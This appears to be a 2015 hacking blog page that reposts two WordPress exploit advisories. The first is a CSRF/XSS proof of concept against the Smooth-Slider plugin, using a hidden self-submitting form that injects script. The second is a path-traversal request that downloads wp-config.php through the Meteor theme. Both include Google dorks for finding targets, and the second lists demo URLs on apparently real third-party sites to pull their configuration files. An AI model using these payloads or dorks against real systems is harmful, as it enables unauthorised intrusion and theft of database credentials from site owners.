Showing posts with label WORDPRESS. Show all posts
Showing posts with label WORDPRESS. Show all posts

Thursday, July 16, 2015

WordPress Plugin Smooth-Slider Multiple Exploits

############################################################
# Exploit Title: WordPress Plugin Smooth-Slider Multiple Exploits
# Google Dork: inurl:plugins/smooth-slider
# Date: 11-07-2015
# Exploit Author: bRpsd
# Vendor Homepage: https://wordpress.org/plugins/smooth-slider
# Version: 2.6.5 {latest} !
# Tested on: Windows 7,Linux
# Tested WordPress Version: WordPress 4.2.2 {latest} !
############################################################

Problem #1: Updating the slider title name OR Making a new one dosent require a [csrf] or [wpnounce] session.
Problem #2: Submitting a Cross Site Script is not filtered !


So you can submit a CSRF & XSS At the same time.
Vulnerable input : [rename_slider_to]


Proof - Of - Concept !
{HTML}

<p>Have a Nice Day ! (:<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://localhost/wordpress/wp-admin/admin.php?page=smooth-slider-admin' target="csrf-frame" id="csrf-form">
<input name="rename_slider_to" type="hidden" value="XSS HERE<script>Alert('t')</script>"/>
<input type='hidden' name='current_slider_id' value='1'>
<input type='hidden' name='rename_slider' value='Rename'>
<input type='hidden' name='active_tab' value='0'>
<input type='hidden' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>




demo [test] :
http://www.exploit-id.com/ xD

==========================================================================
Solution : None yet from the vendor , but you can add your own [CSRF] token.
==========================================================================

Wp Theme Meteor - Retina Responsive Arbitrary File Download Vulnerability



=>>Vendor Homepage: http://themeforest.net/item/meteor-retina-responsive-wordpress-theme/5029209

=>>Tested on: Kali linux / Windows 8.1

=>>Google Dork: inurl:/wp-content/plugins/meteor-extras/

=>>PoC : http://target/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php


=>>Demo :
http://quantuminvestimentos.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://writehouse.co.uk/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://www.ismail.nevsehirwebtasarim.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php